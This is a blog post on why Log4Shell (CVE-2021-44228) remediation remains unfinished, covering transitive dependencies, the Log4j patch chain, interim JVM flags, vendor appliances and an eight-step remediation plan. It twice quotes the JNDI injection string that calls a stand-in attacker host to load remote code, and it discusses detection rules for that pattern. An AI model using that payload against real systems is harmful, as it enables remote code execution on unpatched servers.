Back Medium Log4Shell: The Patch That Never Ends | by Josiah McCarthy | Nov, 2026
CVE-2021–44228 is five years old. Thousands of organizations are still vulnerable. Here is what went wrong with patching, and how to actually finish the job.
In December 2021, a single line of Java brought the internet to its knees. A string like ${jndi:ldap://attacker.com/a} typed into a box, a chat field, or a user-agent header could give an attacker full remote code execution on the server. No authentication required. CVSS 10.0. The vulnerability lived in Apache Log4j 2, a logging library so deeply embedded in Java applications that most teams did not even know they were running it.
Five years later, the patching is still not done. Sonatype reported in December 2025 that 14% of Log4j downloads are still pulling vulnerable versions. CISA’s Known Exploited Vulnerabilities catalog still lists CVE-2021–44228 as actively targeted. Roughly 4,000 organizations worldwide remain exposed. This is not a patching problem. It is a visibility problem.
Log4Shell (CVE-2021–44228) is a remote code execution vulnerability in Apache Log4j 2, versions 2.0-beta9 through 2.14.1. It allows an attacker to execute arbitrary code on any system that logs user-controlled input through Log4j’s message lookup substitution feature.
JNDI Lookup Injection is the attack mechanism. Log4j supported Java Naming and Directory Interface (JNDI) lookups inside log messages. When the library encountered a string like ${jndi:ldap://attacker.com/payload} , it resolved the lookup by connecting to the attacker's server and downloading a malicious Java class file. The server then executed that class with the application's full permissions.
Transitive Dependency is why patching took so long. Log4j is rarely a top-level dependency. It ships bundled inside frameworks, middleware, and vendor appliances. It gets shaded (repackaged under a different namespace) inside uber-JARs. A manifest scan that checks declared dependencies will miss it entirely.
The Patch Chain is the sequence of fixes Apache released. Version 2.15.0 restricted JNDI lookups to localhost by default. Version 2.16.0 disabled message lookups entirely. Version 2.17.0 fixed a denial-of-service vector in the lookup recursion. Version 2.17.1 closed an additional RCE through JDBC Appender configurations. The minimum safe version for Java 8 and later is 2.17.1. Java 7 environments need 2.12.4. Java 6 environments need 2.3.2.
The vulnerability was disclosed on December 9, 2021. Within 72 hours, mass scanning was detected worldwide. CISA issued Emergency Directive ED 22–02 on December 17, requiring federal agencies to patch or mitigate by December 23. The Joint Advisory AA21–356A, published December 22, documented exploitation by nation-state actors including groups linked to China, Iran, North Korea, and Turkey.
Log4j sits in everything. Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Kafka, Flink, VMware vCenter, Cisco products, Citrix, Fortinet appliances, Jenkins, Minecraft servers. Any Java application that accepted user input and logged it was a potential target. The attack surface was not one application. It was the entire Java ecosystem.
Security engineering owns scanning the full software inventory for Log4j instances, including transitive and shaded dependencies. They own validating that patches reach every instance, not just the ones in the manifest. They own the WAF rules and IDS signatures that detect exploitation attempts in transit.
Platform and infrastructure engineering owns the actual patching: upgrading Log4j across application stacks, container images, and CI/CD pipelines. They own the runtime environment variables and JVM flags used as interim mitigations.
Security leadership owns the risk decision: which systems get patched first based on exposure, what level of residual risk is acceptable during the patch cycle, and how to communicate status to executive leadership and regulators.
Nobody should own this alone. The organizations that failed at Log4Shell patching were the ones where security opened tickets, engineering deprioritized them, and leadership never knew the tickets existed.
Transitive dependencies are the real problem. Most vulnerability scanners check declared dependencies in pom.xml or build.gradle. Log4j is often three or four levels deep in the dependency tree. Even worse, some vendors shade the Log4j classes into their own JAR files under a different package name. Your scanner says you are clean. You are not. The only reliable detection method is a filesystem scan that searches for the actual JndiLookup.class file inside every JAR, WAR, and EAR on the system. Tools like Syft and Grype from Anchore, or the CISA-published Log4j scanner, do this. Standard SCA tools often do not.
The patch chain created confusion. Teams that patched to 2.15.0 in December 2021 thought they were done. Then 2.16.0 dropped four days later. Then 2.17.0 three days after that. Then 2.17.1 a week later. Each release fixed a new bypass or attack vector. Organizations with slow change management processes were perpetually one patch behind. Some gave up and left the interim mitigation flag in place instead of completing the upgrade.
Get Josiah McCarthy’s stories in your inbox
Join Medium for free to get updates from this writer.
Remember me for faster sign in
Interim mitigations became permanent. The JVM flag -Dlog4j2.formatMsgNoLookups=true (or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true ) disables message lookups without upgrading the library. It works for Log4j 2.10 and later. Many teams deployed this flag as an emergency stopgap and never went back to finish the actual upgrade. The flag does not protect against all attack vectors addressed in 2.17.0 and 2.17.1. It is a bandage, not a fix.
Vendor appliances are the long tail. You can patch your own code. You cannot patch the Log4j instance embedded inside a vendor’s proprietary appliance firmware until the vendor ships an update. Some vendors took months. Some never shipped one. If your vulnerability management program does not track vendor appliance firmware versions against CVE advisories, you have blind spots.
1. Build a complete Log4j inventory. Do not rely on dependency manifests alone. Run a filesystem-level scan across every server, container image, and CI artifact repository. for JndiLookup.class inside all JAR, WAR, and EAR files. CISA published a free scanner specifically for this. Use it or a tool like Syft that inspects binary contents.
2. Classify by exposure. Not every Log4j instance carries the same risk. An internet-facing application that logs user input is critical. An internal batch processing job that never touches user data is lower priority. Classify your inventory by network exposure, data sensitivity, and whether the application logs external input.
3. Upgrade to the minimum safe version. For Java 8+, that is 2.17.1. For Java 7, it is 2.12.4. For Java 6, it is 2.3.2. If you are still on 2.15.0 or 2.16.0, you are not done. Confirm the version running in production, not just the version declared in your build file.
4. Remove interim mitigations only after confirming the upgrade. If you deployed the formatMsgNoLookups flag as a stopgap, verify the library version is 2.17.1+ before removing the flag. Do not remove the flag first. Some teams remove the flag during a configuration cleanup without realizing the underlying library was never upgraded.
5. Scan container images and CI pipelines. Your base images may still ship with vulnerable Log4j versions. Add a Log4j-specific check to your container build pipeline that fails the build if any image layer contains a vulnerable version. This prevents reintroduction.
6. Audit vendor appliances. Request CVE attestation from every vendor whose product runs Java. If a vendor cannot confirm their product is not affected, or cannot provide a patched firmware version, escalate through your procurement and legal teams. Document the residual risk formally.
7. Deploy detection rules. WAF rules and IDS signatures should detect JNDI lookup patterns in HTTP headers, query parameters, and request bodies. CISA’s advisory includes specific Snort and YARA rules. These do not replace patching. They buy time and provide visibility into active exploitation attempts.
8. Establish a recurring scan cadence. Log4Shell is not a one-time event. New deployments, container rebuilds, and dependency updates can reintroduce vulnerable versions. Run the filesystem-level scan monthly. Integrate it into your vulnerability management program as a standing check, not a one-off incident response action.
Log4Shell (CVE-2021–44228) is a CVSS 10.0 RCE in Apache Log4j 2 that remains actively exploited in 2026. The minimum safe version is 2.17.1 for Java 8+, 2.12.4 for Java 7, and 2.3.2 for Java 6.
Standard dependency scanners miss transitive and shaded Log4j instances. Only a filesystem-level scan that searches for JndiLookup.class inside binary archives gives you a complete inventory.
The formatMsgNoLookups JVM flag is an interim mitigation, not a fix. It does not cover all attack vectors addressed in later patches.
Vendor appliances and embedded firmware are the long tail of Log4Shell exposure. If your vendor cannot provide CVE attestation, document the risk and escalate.
Treat Log4Shell remediation as a standing vulnerability management process, not a closed incident. New deployments and container rebuilds can reintroduce the vulnerability at any time.
CISA — “Mitigating Log4Shell and Other Log4j-Related Vulnerabilities” (Joint Advisory AA21–356A)
NIST NVD — “CVE-2021–44228 Detail”
Apache Logging Services — “Apache Log4j Security Vulnerabilities”
CISA — “Apache Log4j Vulnerability Guidance”
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
